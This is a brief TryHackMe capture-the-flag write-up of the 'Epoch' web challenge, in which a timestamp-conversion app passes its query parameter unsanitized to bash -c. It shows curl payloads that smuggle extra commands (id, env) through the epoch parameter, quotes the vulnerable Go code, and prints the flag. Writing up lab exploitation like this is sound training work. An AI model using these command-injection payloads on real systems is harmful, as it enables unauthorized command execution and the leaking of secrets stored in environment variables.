Table of Contents
Epoch — TryHackMe CTF Writeup #
Platform: TryHackMe
Category: Web / Command Injection
Difficulty: Easy
Date: 2026-03-18
Author: t0nt0n
Reading time: ~3 min
Reconnaissance #
The challenge description hints that user input is passed directly to a command-line program. The target is a web app at http://10.128.155.121 that converts UNIX timestamps to UTC dates.
First probe: confirmed the app uses GET (not POST) — a raw POST returned Method Not Allowed.
Identified the query parameter by trying epoch:
1curl -s "http://10.128.155.121/?epoch=0;+id"
Response confirming injection
Thu Jan 1 00:00:00 UTC 1970
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
Code review of main.go confirmed the vulnerability — input is passed unsanitized to bash -c:
1cmdString := fmt.Sprintf("date -d @%s", r.Epoch)
2cmd := exec.Command("bash", "-c", cmdString)
Exploitation #
With command injection confirmed via id, the flag was found by dumping environment variables — no file hunting needed:
1curl -s "http://10.128.155.121/?epoch=0;+env" | rg flag
Output
FLAG=flag{7da6c7debd40bd611560c13d8149b647}
Flag #
Reveal Flag
flag{7da6c7debd40bd611560c13d8149b647}
Tools Used #
curl— HTTP requests and payload deliveryripgrep(rg) — filter flag from env output
What Didn't Work #
- POST requests — app only accepts
GET; POST returned405 Method Not Allowed find / -name 'flag*'— failed due to single-quote mangling in URL encodingls /root— permission denied (exit status 2); flag wasn't stored as a file anyway
Lessons Learned #
- Always check environment variables (
env) early — flags are sometimes injected as env vars in containerised challenges rather than stored as files - When
findfails due to quoting/encoding issues, simplify the command or avoid shell metacharacters in URLs - Reading the source code (
main.go) immediately revealed the exact injection point:date -d @<input>viabash -c - One-liner to own the box:
curl -s "http://TARGET/?epoch=0;+env" | rg flag